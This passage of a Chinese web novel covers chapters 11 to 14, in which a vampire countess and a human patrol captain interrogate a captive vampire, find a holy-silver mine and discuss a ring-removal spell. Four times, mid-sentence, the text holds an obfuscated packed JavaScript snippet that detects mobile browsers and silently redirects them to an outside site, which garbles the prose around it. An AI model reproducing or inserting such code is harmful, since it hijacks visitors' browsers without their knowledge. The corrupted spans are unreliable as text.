黎信步脚步未停,按下开门按钮,单向玻璃门徐徐打开。 身后传来金属摆动的哗啦声,椅子在地面上划拉出刺耳的声音。 长出尖锐獠牙的吸血鬼愤怒大喊:“我说过!冲我来!不要伤害安迪!” 黎信步转过身,冷冷地望着他:“你以为夜游队是什么地方?是能让你谈条件的地方?” 音戈想要冲上前去,然而他身上枷锁环绕,站起身时不得不背着一把椅子,又碍于双足被锁,根本无法迈开步子。 “那你想知道什么?” 一阵锁链声清响,音戈缓缓地坐了下去:“想知道她的翅膀为什么会变成那样吗?” 一瞬间,黎信步眯着眼睛打量着他。 随后与鹿露耳语了一句,鹿露走出审讯室,单向玻璃门徐徐关闭。 音戈忍不住笑了起来,像他想成为的真正的贵族那样,发出近似温和的笑声:“你真想知道?” 黎信步走到他的面前,抬起手,重重地拍在他的椅背上,震出响亮的声音:“不想知道。” “我回来,只是警告你,不要试图在谁的面前揭开她的伤疤。” 音戈挑衅地问:“不然呢?” 黎信步毫不犹豫地说:“我会杀了你。” 这时音戈抬头看着黎信步。 看见他本就凶狠的面容里浮现出不加掩饰的戾气,就知道他说的不是谎话。 “你喜欢她?”几乎已经笃定了,音戈目光轻蔑地重复道:“你喜欢她。” 又一个。 不知天高地厚的东西。 这些年,血族关于她的传说也有不少,从无一个血族能真正来到她的身边。 更何况是人类。 黎信步反问:“你不也是么。” “我没有!” “我才没有!” 音戈挥舞着拳头,金属链条发出愤怒的响声。 他充其量只是想得到她。 让高高在上的女爵跌落尘埃。 磨碎她不可一世的自尊。 然后再勉为其难地收留她。 为此他努力了三百年,直到迦莱尔王子许诺他爵位,他才有足够的底气来见她。让她痛彻心扉地悔悟,意识到当初没有收留他们的决定有多么错误。 整整三百年。 “也好。”黎信步瞥他一眼,那目光堪称嫌恶:“要是在对她使用完魔法阵以后还能口口声声地说喜欢她——” “那就太恶心了。” 拳头僵滞在半空,音戈背着椅子狼狈而茫然地看着他。 “没听懂吗?”黎信步冷声道:“我的意思是,你不配。” 转瞬,音戈的拳头重重砸在桌面上,整间审讯时都是他破防的声音:“你就配喜欢她吗?该不会以为她会喜欢你吧?她谁都不会喜欢!她不喜欢吸血鬼更不喜欢人类——就连她的父母她也不喜欢,任由他们接连在她面前自杀!她根本、根本就不懂喜欢!” 真可怜,怎么会有人喜欢这样一个人? 真可笑,怎么会有人记挂这样一个人三百年? “她父母,是自杀?”即便心里已有猜想,听到这句话时,心脏还是像被什么给击中了一样。 原来是这样。 关于她的拼图终于又拼上了一个角。 她翅膀上那些伤痕都不是打斗造成的,更像是一种,单方面的凌虐。 她已经是血族第一阶大贵族,早早地继承了母亲的爵位——谁能凌虐得了她? 他明白了。 如果有一个人能把她伤成那样,一定会是她在乎的人。 他忍不住在脑海里进行模拟还原—— 大约是在她翅膀未长成、骨骼还比较脆弱的时候,曾经不管不顾地张开保护过父亲或是母亲。从特族局的保密资料上来看,他倾向是母亲。毕竟父亲长眠时她只有十岁,翅膀过于稚嫩了。 所以,青年时期的她,用刚刚发育的翅膀护住了母亲。母亲折断了她的翼骨,她仍顶着剧烈的痛苦用翼膜紧紧包裹住母亲。而母亲手里一定有一把坚韧的圣银匕首,从里向外,或捅,或刺,或割,逼迫她放手。 从翼骨的形状与翼膜坚厚程度来看,这样的场景她或许经历过许多次。吸血鬼的翼骨一向坚实,除非反复断裂、潦草拼接以后,才会长出能穿出皮肉的骨刺。 这样的骨刺,她有许多个。 但最后,她拼命保护的人,还是舍她而去。 -是谁伤的你。 -她已经死了很多年了。 -是谁杀的她? -她自杀。用一把圣银匕首。很轻松就能杀掉自己。 黎信步沉着脸,没有说话,胸腔里传来深刻的痛楚,几乎逼迫得他不能呼吸。 良久,他深深地吐出了一口浊气。 音戈偏头望着黎信步,目光打量着他手中的戒指。 一个荒诞的想法在他的脑海里诞生。 如果能够取而代之的话—— 他抿直了唇线,金棕色的眉毛往下沉。 被禁锢的双手,指甲疯狂暴长,下一刻,锁链振响,他躬身抬臂,尖甲如钩,朝着黎信步的喉颈划去。 还没等黎信步侧身避开,就见到他的指间瞬间绽出一道桃粉色的光,无数铭文从戒指里释放出来,凭空凝结成了蔷薇的形状,盛放在他的肩头颈侧,格挡住了音戈的攻势。 音戈的指尖距离黎信步的喉间两厘米,却再伸不进分毫。 海尔珀林公爵的守护戒指开始生效,在家主能够感知到的范围,以历代海尔珀林家族的荣光与力量捍卫女爵的私产。 守护着她的,人类奴隶。 江景山墅。 奥黛的胸口处忽然产生了一点微妙的异样,让她不由自主地从沙发上站了起来。 沉寂已久的心脏竟然跳动了一瞬,尽管只有一瞬,但胸腔却久久残存着它的余音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042978|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可怎么会这样? 吸血鬼的心脏怎么还会跳动呢? 紧接着,奥黛感到一阵目眩,她的眼前倏然亮得晃眼,四周泛着细碎的银色鳞光,中间一顶大灯,像是烈日直晒向她。 两只尖锐带钩的长甲抵在了自己的喉间,面前的音戈偏执而疯狂地看向自己。 顷刻她就明白过来,这是黎信步的视角。 大概,是戒指搞的鬼。 她与父亲住在深山城堡的时候,并非全然安全。有时候会遇到一些不速之客。 譬如与伊芙琳女爵有旧怨的吸血鬼猎人。 面对同胞的发难,父亲很少时候会还手,只以避闪为主。 奥黛倒是会还手,但她知道,这样父亲会不高兴,因此也只以避闪为主。 如果银刀刺到了父亲的面前,戒指就会为他召唤出一面粉色的蔷薇光幕,在紧急时刻护他周全。 不多时,伊芙琳女爵就会出现。 但她可不是伊芙琳女爵。 奥黛从容地打开了电视机,找到了她最喜欢的电视剧,津津有味地看了五秒。 心脏再次跳动了一记,像是在提醒。 奥黛认真地给别墅前坪紫罗兰叶浇水,现在还不是花期,但她养护得很仔细。 心脏再次跳动了一记,像是在催促。 奥黛惬意地漫步在别墅之外,看着华灯初上,城市被勾勒出绮丽绚烂的轮廓。 心脏再次跳动了一记,像是在敦促。 怎么可能去?! 她又不是伊芙琳女爵! 伊芙琳女爵会做的事,奥黛女爵统统都不应当做。 可是—— 她忽然顿住了。 她的奴隶会有危险么? 就算有危险,又和她有什么关系? 说不去,就是不去。 当奥黛赶到审讯室时,黎信步正在给音戈剪指甲。 后者被死死压制住,只能露出尖牙以作震慑。 黎信步道:“换一只手。” 奥黛:“……” 黎信步听到匆忙赶来的脚步声,有些诧异,回头问她:“你怎么来了?” “……”奥黛熄灭了刺眼的黄灯,说:“问他点事。” 边说边往黎信步的颈边看。 他的脖颈没有一丝伤口,线条利落硬朗,微凸的青筋蛰伏在皮肤下,毫无保留地暴露在了她的眼前,隐隐透露着甜血的馥郁。许是感受到奥黛的目光,黎信步站立在原地,不自觉吞咽,喉结轻轻地滚动了一下。 他哑声道:“你问。” 为她让开了位。 奥黛走到音戈面前时,音戈身体颤了一下,眼睛直勾勾地凝望她,随后又移开了视线。 奥黛掰正了他的脸,食指停留在了他的额间。 音戈瞳仁慢慢放大,嘴唇克制地绷紧。 “魔法阵,西拉斯给你的?” “是。” “他现在在哪里?” “莲花乡。” “为什么抢血库?” “西拉斯计划在烟花大会袭击星城,迦莱尔王子派给他的亲卫需要很多血。” 他没有说谎。 奥黛与黎信步对视一眼,点了点头。 “结束了吗?”音戈叫住奥黛,眉头不自觉模仿着那人微微压低:“你,你就没有其他想问的了吗?” 奥黛说:“问完了。” “那我们快走吧。”黎信步迅速按下开门键。 “等下。”像是想到了什么,奥黛突然转过了身,冷冷地扫了音戈一眼:“不要皱眉。” 说完,便朝门外走去。 “好,好的。”音戈立刻舒展开了眉头,瞟了黎信步一眼。 黎信步的面色一下子沉了下去。 回过头,冷冷地扫视了眼眉间绽放出笑意的音戈,浑身忽然有种说不出的烦躁。 12. 一掷 莲花乡在临市的莲花城远郊。 一番集结之后,当晚值班的夜游队队员们浩奔赴莲花乡。 黎信步开了辆坦克700,副驾驶坐着徐让,后排坐着奥黛、宁白和鹿露。刚上车有些热,宁白和鹿露不约而同、不着痕迹地往正中间的奥黛身边靠。 【啊,好凉快!】 【我这么轻轻挨一下,她应该听不见吧。】 奥黛:“……” 不喜欢与人这样紧密地接触,奥黛自然垂下的手臂忍不住向内收敛,余光中,发现两侧的目光变得不知所措、怅然若失,想了想,她又把手放了回去。 两侧再次贴住了她,拼命把嘴角往下压。 黎信步不动声色地看了眼后视镜。 奥黛今天穿得偏居家,一条素色的连衣裙,外面套了件米白色的棉麻开衫,没有戴耳饰,手腕上挂着云局送她的手表,不规则的白色的贝壳链和她这一身很是相衬。 他收回视线,把空调温度调到最低。 车里一下就凉快了起来。 徐让坐在他边上,看着他冷峻的侧脸和绷直的唇线,不觉打了个寒颤。 他问:“你今天心情不好?” 鹿露也说:“是啊队长,你今天看上去有点不高兴。” 后视镜中,一双红眸微抬,朝他望去。 一面镜子,四目相对。黎信步率先收回了视线,低道:“没有。” “嘿。”宁白突然笑了,望向窗边。 玻璃窗上,流淌着城市五颜六色的光影。 不知不觉,光影变暗,窗外深黑一片,他们抵达了莲花乡。 根据音戈的描述,很快就找到了那座大山。 乌云遮月,山峦的模样不甚分明,只能隐隐看出几分朦胧的起伏。这是一座不算很高,但很宽阔的大山。 本地人称之为卧山。 看着眼前这座彷如巨兽俯卧的大山,莫名的,奥黛感到有些滞闷,她不慎踩到滑石,往后退了几步, 身后的黎信步眼明手快拉住她,问:“你怎么了?” 红瞳颜色渐渐变深,她说:“这里,不太对劲。” 徐让立刻警戒:“有很多吸血鬼?” 她摇头,她甚至都没有感知到附近的吸血鬼的气息。 那是因为什么,竟然让她如此不宁? 像是小猫听见虎啸,羚羊看见猎豹,出于吸血鬼的本能,让她在此时想要逃跑。 这时在前方侦查的队员传来消息:“队长,前面有一个大山洞,可以藏纳目标。” 在黎信步的指挥下,队员们兵分两路,悄悄靠近。 二十分钟后,两翼队伍抵达山洞。 这山洞入口不大,蛰伏在葱郁山林中,但借着茂林的掩护,寻常人很难发觉。 队员们立刻忙活起来,有拿仪器探测生命的,有拿设备检测空气的,还有拿工具绘制地形图的。 黎信步打着手电站在洞口处,手指揩过岩石和草丛。 这大概是一个天然形成的巨大洞穴,并没有人工爆破过的痕迹。但洞口处的植被像是被破坏过一样,周围的脚印尤其杂乱,起码有数十人在他们之前来到过这里。星城周边,近半个月都没有下过雨,因此这些痕迹都被很好地保存了下来。 “能感知到里面有什么吗?”黎信步问奥黛。 有些遗憾,奥黛说:“他不在这里,里面没有吸血鬼。” 这也是意料之中的事,毕竟那人奸猾狡诈,几乎在得手血库以后就转移了阵地,把音戈安迪丢出来当替死鬼。 徐让带着一队人在洞外搜寻西拉斯的踪迹,黎信步带着余下队伍擦着山洞边缘前进。 一路往里走,弯腰穿过一片低矮尖锐的洞顶,来到了挂满了钟乳石的洞壁处。在手电光的照耀下,顶上那些奇形怪状的钟乳石折射出了斑斓剔透的光彩。 但谁都没有兴趣观赏。 手电往深处一照,发觉这山洞比他们想象得还要大。他们在里面发现了许多包血袋,包装被吸得皱成了一团,地上的血迹已然干涸变深,看样子应该是昨晚就离开了。 “发现一个洞口!” “又发现一个洞口!” “我也发现了!” “这边也有!” “……” 队员们握着手电,沿洞壁一照,发现了不少阴森深邃的洞口,通往不知名的方向。 一阵阴风静悄悄地吹入洞内,吹得人毛骨悚然。 黑暗中,幽深的洞口像无数双眼睛,深沉地盯着造访者。洞壁上倒挂的尖石无声矗立,像是坚毅的兵俑,不知道在什么时候就会冲锋陷阵。 奥黛强忍着不适,闭上眼睛,伸出手去抚摸,里面诡异的能量场冲击得她身体愈发颤抖,脚步愈发虚浮。 似乎感受到了心脏传来的波动,黎信步立刻问她:“你怎么样?” “这里,很不对劲。”奥黛的声音很凉,“就像我威压着中低阶吸血鬼一样,也有什么东西也在威压着我。” 究竟是什么能让她如此难受? 不知道是不是错觉,黎信步觉得自己此刻似乎能共感她的痛苦。 “带了无人机了吗?”黎信将手抵住心口问。 “带了。”余米立刻把无人机放至地上,手里操纵着仪器问:“飞哪个洞口?” 这些不知通往何方的洞口看上去都大差不差,挨个飞耗时间,随机飞又太看运气。 正在大家一筹莫展时,奥黛忽然睁开了眼睛,指向了一个洞口,说:“这个。” 死马当活马医,无人机立刻飞入洞口。 从传回的影像资料来看,这个洞口的路并非是平缓的。大概十米后,会遇到一个巨大的深坑。 十米,二十米,三十米,无人机一路下行,可底下却好像深不见底。 无人机的光亮如萤火,照不到这广袤深渊的冰山一角。 又下了几十米,无人机遇到了岩石阻挡,只能看见一条幽暗的小缝,却怎么都无法再往下了。 黎信步说:“回来吧。” 这时,徐让带着一身水气从外面走了进来:“下雨了。” 大家的脸色瞬间变得难看起来。 一场雨,把吸血鬼们残留的痕迹都给冲刷走了,再想顺藤摸瓜找到他们的下落可就难了。 如果真像音戈所说,西拉斯在三天后的中秋节的烟花大会上酝酿了一场血族袭击,眼下已经过了一天了,时间十分紧迫。 “看样子今晚白跑一趟了。”徐让说:“西拉斯既然不在这,那咱们先撤吧。中秋节快到了,还得抓紧时间回去部署。” 黎信步没有吭声,默默地注视着那个飞过无人机的洞口。 徐让循他视线望去,看见洞口前的奥黛忽然蹲下了,掌心贴着地面,偏着头,像聆听一般,缓缓道: “这里,很不对劲。就像我威压着中低阶吸血鬼一样,也有什么东西也在威压着我。” “什么威压?”徐让快步走了过去,问:“到底是什么东西?” 奥黛聆听着地表,黎信步聆听着她。 几秒后,两人忽然异口同声道:“圣银——” 黎信步马上命令道:“再飞一次!带上圣银光谱仪!” 圣银光谱仪是特族局最近才研发出来的、专门用于圣银矿的探测仪器。它能够扫描矿石以后瞬间分析 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“试一试吧,”他用力地握住了蔷薇戒指,抵拳头住心口,沉声说:“出任何问题我负责。” 徐让啧了一声,叹了口气,为他让开了一条路。 无人机传回拍摄到的画面。 巴掌大小的圣银光谱仪沿着石壁的缝,一路畅通地坠落下去。 不知坠落了多少米,镜头已经拍不到它了。 众人转头望向另一个显示屏上的光谱图,像死一样沉寂。 徐让无声地叹了一口气,走来拍了拍黎信步的肩:“我是副队长,我也有责——” 话还没说完,光谱图上突然出现了圣银的特征波长谱线。 然后是第二条,第三条…… 跳跃的谱线亮满了整屏。 这意味着,圣银矿脉就在他们脚下! 徐让眼睛一亮,凑近屏幕瞪大了眼睛,忍不住感叹:“牛逼。” 余米愣住了:“队长,这……你到底是怎么发现的?” 众人也都求知若渴地望向黎信步。 黎信步转过头,望着人群最外围的方向,面上丝毫没有发现圣银的喜悦。 奥黛静静地站在那里,隔着浓浓的漆黑,同样看向他。 两人的目光于黑暗之中交汇,不必言语,却能确定一件事—— 西拉斯一定是故意引夜游队来这里发现圣银矿的。 他到底要干什么? 13. 破例 直到后半夜,夜游队才和特族局派来的负责勘测圣银矿的团队交接完。 下山的时候,雨已经停了。 山路变得湿滑难行。 队员们你牵着我,我拉着你,组成条形长队,互相扶持着下山。 黎信步惯例走在队伍最后面,牵住了前面奥黛的手。 为避免像第一次见面一样,冒犯到奥黛,黎信步把队里的事情都想了一遍。 从云局的保护、烟花大会的防备、卧山圣银矿的勘探,想到了西拉斯。 西拉斯。 这人实在让人捉摸不透,特族局关于西拉斯的记载也很少,只知道他属于海尔珀林家族。 他和与血族女王对立的迦莱尔王子合作,阻止和平条约的签署,并且多次挑衅特族局——就像那些反和平派吸血鬼一样。 却,又不完全一样。 那些反和平派吸血鬼如果发现了圣银矿,可不会故意引导夜游队来勘测。 他是吸血鬼,但好像没有吸血鬼的天然立场,行事风格也与其他吸血鬼不相同。 为什么? “因为他想让所有世界上吸血鬼都去死。” 提到这个名字,奥黛眼中愠怒:“他曾经是吸血鬼猎人。” 这样的话,他的诡异行为就有据可依了——血猎与血族天然敌对的立场,被初拥以后,他更是憎恶吸血鬼,不愿意接受人类和吸血鬼走向和平的结局。 黎信步的面色逐渐变得凝重了起来:“你初拥的他?” 奥黛奇怪地看他一眼,感受到他掌心传来的波动,本不打算再说,却严肃道:“不是。” 再次出现了。 ——掌心传来的快乐。 奥黛又看了黎信步一眼,发现他好像是在笑。她一眼就注意到他左侧的脸颊的微微凹陷,不甚明显的酒窝随之显露了出来。 “你在快乐?” “是。” “为什么?”她不理解。 这次没有机车,没有美食,可是他看上去依然快乐。 黎信步微微偏了下头,替只顾着回头、没留心脚下路的女爵拨开挡路的草丛,有些含糊地说:“没为什么。我一向快乐。” 话音刚落,他的食指像被什么咬了一口一样疼。 低头一看,什么伤口都没有,只有一枚古朴的蔷薇戒指,牢牢地戴在了他的食指上。 “你在说谎。” 奥黛轻描淡写地警告:“奴隶不要试图对主人说谎。” 黎信步喉结滚动,别过头去,一语不发。 “哪一句说谎了?” “……” 他不说,但她似乎知道了。 他并不一向快乐。像先前在车上,脸色就很难看。 她不理解人类的情绪为什么短时间内会如此曲折,索性直接问:“为什么之前不高兴?” 黎信步看她一眼,幽幽地开口:“很想知道吗,女爵。” 讨厌人卖关子。她冷冷一瞥:“也不是很想——” 话还没说完,掌心传来他的声音:【不要皱眉。】 奥黛微怔:“什么?” 黎信步冷着脸看着行进的队伍,极其不情愿地道:“你和音戈说,不要皱眉。” 奥黛想起是有这么回事,“我不想他像你。” 身后那人突然止住了脚步,又很快地迈步跟上,良久,一声低沉的闷笑声从她后方传来,比吃火锅那天更为显著的快乐声音从他的掌心溢出。 声音很大,不过她难得不反感。 “为什么不想?” “你是我的奴隶。” 她理所应当地回答。 平心而论,这是一个还不错的人类奴隶—— 聪明,英勇,无惧无畏。 她心里即便产生了再荒诞的想法,他也愿意相信,并且去执行。 最重要的是,他快乐的声音很好听。 奥黛在想,等他把蔷薇戒指顺利取下来以后,也许她会给他一枚家徽金币? 感受到另一只手又传来了奇怪的声音,奥黛有些不满地对宁白说:“你笑得好大声。” 宁白无辜眨眼:“抱歉,我吵到你们了是吗?” “没有。”奥黛说,“不过为什么我每说一句话,你都会在心里‘嘿嘿’一下?” 宁白感受着奥黛身后那如箭一样的目光,望着天不语。 奥黛问她:“你也在快乐吗?” 她对人类的情绪并不完全了解,以为宁白的“嘿嘿”声是笑,以为笑就是快乐,但是她心里的声音和黎信步的又不太一样。 她传来的声音里,好像多了几分肆无忌惮的开怀。 黎信步和善地问她:“你有那么多快乐的事吗?” 宁白松开奥黛的手,用力地咳了两声:“没有,我单纯是喉咙痒。嘿,嘿——看,我有口老痰咳不出来。不用管我,你们继续吧。” 黎信步:“……” 没走多久,一行队伍下了山。 奥黛看了眼表,四点半。 现在回星城有些来不及了,考虑到吸血鬼的作息,黎信步提议不如在镇上找一家宾馆歇息,晚上送她回星城。 忙活一晚上,队员们也都饥肠辘辘,打算找家早餐店吃早点。 十余辆车直奔镇上。 天还没亮,只有几间早点店里亮着柔和的灯光,整条小街都是早点的香气。 下了车,队员们三五成群地自发找店面、找位置坐下了,把几间狭小的店面挤得满满当当,老板连忙回屋里拿了几只木板凳出来。 队员们被香味一勾,也不介意是站是坐,你一言我一语地点起了早餐,人均报出了两三个人的饭量。 老板听得目瞪口呆,随即又笑逐颜开地一一记录。他走到了奥黛的面前,问:“你想吃点什么?” 奥黛摇头:“我不吃。” 小镇的人大多热情,绝不允许有人空着肚子走。老板当即拍板:“没事,你们点得多,我一会送你们一笼我们这的特色糕点!” 几间店铺的老板各司其职,不一会儿就端来了热气腾腾的早点。蒸包蒸饺白白净净,米粉米线柔韧劲道,队员们埋头苦干,风卷残云,像从来没吃过饭。 不多时,老板又端着一只竹编蒸笼走到了奥黛面前,“尝尝这个。” “什么?” “脑髓卷。”他像变戏法一样掀开笼盖,白雾立刻冲了出来,带着一缕似有若无的米香,直往人鼻间钻。 奥黛僵住了:“我不吃人脑髓。” 并且有些难以置信地看了周围一眼,人类怎么什么都吃? 队员们放下了碗,笑得乐不可支。 宁白笑着说:“里面没有脑髓啊。” 奥黛将信将疑地往蒸笼里看了一眼,里面码放着几块长条形的晶莹剔透的糕点,确实是没有一丁点儿血腥味。 一般来说,奥黛是不太愿意接受人类食物的。 本来以为糕点是脑髓做的,她满心满眼都抗拒。但自从得知里面没有脑髓后,不知为什么,连带着看这蒸笼都多了几分好感。 女爵的要求和底线在不知不觉间被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042980|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降低。 “要不要尝尝?”黎信步把蒸笼往她面前推了几分。 想了想,奥黛伸手拿了一块,轻轻咬了一口,齿尖穿破软而劲的多层薄皮,舌尖绽开了甜滋滋的味道。 再抬起头时,发现队员们都停下了筷子,期待地望着她,等她一句评价。 奥黛没有说话,安静地把一整块都吃完了,以作肯定。 大家的脸上浮现出浅浅的笑意,店铺里再次热闹了起来。 鹿露问:“队长现在的心情变好了吗?” “嗯。”黎信步面无表情地往她碗里夹了只小笼包,示意她多吃少说。 “为什么心情变好?”徐让一边埋头嗦粉,一边抽空问他:“又是什么让你心情变好了?” 边上的宁白优雅地夹起一只白嫩的蒸饺,沾了点醋,轻笑一声:“嘿。” “我知道了。”余米放下了筷子。 大家看向他。 他理所应当道:“肯定是因为发现圣银矿啊,这回局里不得表彰咱们啊——” “嘿。”宁白又吃了一只蘸着醋和辣椒酱的蒸饺。 徐让不明所以,看向宁白:“我早就想问了,你每天到底在‘嘿’什么啊?” 宁白点点喉咙,同样和善地看向黎信步,比了一个“五”的手势:“他知道。” “……”聪明、英勇、无惧无畏的黎队长面对同事的勒索,只能熟练转账,说:“她有痰咳不出来。” 听到手机响了一声,宁白从善如流地点头:“是这样的。喉炎,根本治不好。” 奥黛说:“我的血仆里有几个精通医术,要给你看看吗?” 宁白立即摆摆手:“那倒不用,我自己喝点中药调理一下就行。” 黎信步善良地说:“给她看看吧,总这么咳不是个事。” 奥黛掏出手机,解锁屏幕,打开通讯录。 黎信步被她这一串丝滑的连招秀得有些意外:“你现在用手机这么熟练了?” 奥黛轻轻“哼”了一声:“轻而易举。” 队员们崇拜地鼓起了掌,问她:“那女爵有微信吗?” “宁白帮我注册了一个。” 闻言,大家纷纷挤到了奥黛面前,都想要加上她的微信。 奥黛睁大了眼睛,有些不知所措。 宁白看不下去了:“回头我把女爵拉群里,大家从群里加吧。” 黎信步这才顺利地带着奥黛离开了早餐店。 “他们就是这样,”黎信步对奥黛说:“稍微有点人来疯,对你没有恶意。” “嗯。”打开手机,奥黛一连通过了数个好友申请,问他:“但是为什么要加微信?” 黎信步耐心解释:“这意味着,你们成为朋友了,可以在手机上聊天了。” 奥黛握着手机,目光扫过一串新加的好友,不知道在想什么。 明明都已经决心不再吃人类食物、不再交人类朋友的她,今晚似乎屡屡破例。 无形中,似乎有一只手抓住了她,提醒她,警告她,不该这样。 似乎还有另一只手在默默推她,去做,奥黛,顺着你的心意做。 一直走到宾馆门口,都没见她再说话。黎信步漆黑的眸子微动,低声说:“如果觉得不合适的话,我叫他们别加你了,不用有负担。” “什么负担?” 她好像并不觉得负担。 既然他们不是的话。 那么—— “黎信步,”奥黛挺直背脊,郑重其事地宣布:“我允许你,加我的微信。” 14. 咒语 「我讨厌你」 黎信步的眼底似有什么情愫在无声翻涌,藏在作训服里的手臂瞬间绷直。半晌,他敛眸,兜里的手机被拎了出来。 随着他低头,下颌往内收,显出了凌厉的线条,他说:“我扫你。” 奥黛没有自己加过人,直接把手机递了过去,任他操作。 很快,手机被放回到她的掌心,页面上的联系人又多了一个。 回到了宾馆房间以后,奥黛盯着微信的界面看了好一会儿。 与她微信自带的灰色头像不同的是,黎信步的头像是张照片。深蓝色的天幕上挂着几颗明亮的星子,远处的城堡式建筑在树林中若影若现,露出了一点尖塔的黑色剪影。 莫名的,她看着有些眼熟。 奥黛洗了个澡,擦着头发走出来时,看见黑暗的房间里,手机因消息提醒不断振动着,在墙角散发着幽蓝色的光。 拾起一看,队员们的消息一条顶上一条。大多是一些招呼和问候,有英文也有方块字,不过方块字她看不懂就是了。 长长的指甲往下滑动着屏幕,各类消息一条条跳出,把那张夜空头像冲到了最下方。 身上传来了些许痛意,奥黛意识到已经天亮了,黎明把夜幕也冲到了最下方。 夜幕寂寥得像是从没有来过一样。 这时,奥黛收到了管家艾克关于蔷薇戒指的汇报邮件,她立刻拨通了对方的电话。 作为管家,艾克为海尔珀林家族兢兢业业工作了五百年以上,目前正留在永夜岛为管理家族事务。对于海尔珀林,这位老管家想必比奥黛还要更为熟悉。 接到奥黛的电话,艾克默默在心里算着时差,声音有些着急:“女爵,您那边不是已经天亮了吗?不如先去睡觉吧。” 奥黛说:“你已经找到了摘取戒指的办法?” “是的,我是在伊芙琳女爵的藏书里看到的,想要取下蔷薇戒指,一共有三种方法。” 一阵书页翻动的声音,艾克加快了语速:“那我就长话短说了——第一种,佩戴人身死以后,戒指会自然脱落。第二种,砍断佩戴人的手指,浸泡在露娜宫的血河里七天。第三,让佩戴人全神贯注地默念咒语。” “什么咒语?” “非常简单,女爵。只要让佩戴人用母语对您说十遍‘我讨厌你’就可以了——上面记载,念这串咒语时需要出自真心。” “这么简单?” “是的。” 奥黛轻轻应了一声:“我知道了。” 艾克旁敲侧击地问道:“您是把戒指送给什么人了吗?是人类?还是吸血鬼?”原本平和沉稳的声音逐渐变得兴奋:“有计划要筹办婚礼吗?预备在星城举办还是永夜岛?这么大的事,为什么艾琳完全不跟我说——” 太吵。 奥黛挂了电话。 说十遍“我讨厌你”,对他而言应该不是什么难事。 正想着,一声振动,他的消息顶到了最上方。 点进去一看,是一句语音,低沉的声音从手机那头传了过来。 【黎信步:早安,天亮了''''】 奥黛回复起了她的第一条消息。 【奥黛:天亮是什么样子的?"】 她总能记起来小时候和父亲在花园的场景。 看见父亲总是一动不动地凝望着天空,她问他在等什么? 他说在等天亮。 她问,天亮好吗? 这时,那只戴着蔷薇戒指的冰凉的手,会轻轻地抚摸一下她的脸颊,闭上眼睛笑了。 再没有比那更好的了。父亲说。 可惜一百年前,奥黛差一点,就能亲眼见证到他说的好。 又是一声振动,这回黎信步直接发来照片。 点开照片一看,右上角,一束阳光穿透密织的香樟树翠冠,自上而下倾泻而出,照在公交车后、早点摊贩旁、路过的行人的身上,外侧的枝叶也被缀上了金光,枝叶交叠处投射下斑驳的光影。 富有生命力的光芒溢满了手机屏幕。 黎信步发来语音:【该睡觉了,女爵。''''】 奥黛翻了个身,放大照片,总觉得周围景象有些熟悉,像是在特族局附近。 【奥黛:你回星城了?"】 【黎信步:有个会要开。睡吧,晚上我来接你。"】 奥黛盯着照片看了好一会儿,才放下手机,走入梦乡。 再次醒来的时候,四周依然一片漆黑,隔着几层楼,她已经嗅到了黎信步的气息。 不紧不慢地走下楼,黎信步的车果然已经停在楼下了。 上了车,她迫不及待地告诉他:“我已经找到摘戒指的方法了,需要念咒语。” “什么咒语?” “我讨厌你。” 车刚开出去半米就停下了,黎信步握住方向盘的手骨节泛白,他问:“为什么?” 奥黛冷不防往前一栽,瞪他一眼:“这四个字是咒语。” 黎信步:“……” “真情实感对着我说十遍,戒指就能摘下来了。” 汽车再次启动,黎信步的面容看上去更加冷峻:“还有其他办法吗?” “……没有。”奥黛别开头,望向窗外,重复了一遍:“没有。” 车外的景致沉默地一晃而过,人声、车流声都隔绝在了这方寸的空间外。车内很安静,静得只有黎信步不安的呼吸和心跳声。 这是一种被刻意调整过后的绵长与和缓。 “这个咒语很困难么?”奥黛有些费解。 “就像这样——我讨厌你,我讨厌你,我讨厌你——只要说十遍就好了。” “奥黛。”等红绿灯的间隙,黎信步忽然认真地叫她的名字。 她怔怔地望向他,看见他的喉结微微滚动了一下。 “我不想说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042981|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……为什么?” 正想伸手去触碰他的内心时,奥黛听见他低声道:“不是说奴隶不能说谎吗?” “我不讨厌你。” “……”奥黛偏头再次看向窗外,闷闷道:“我知道了。” 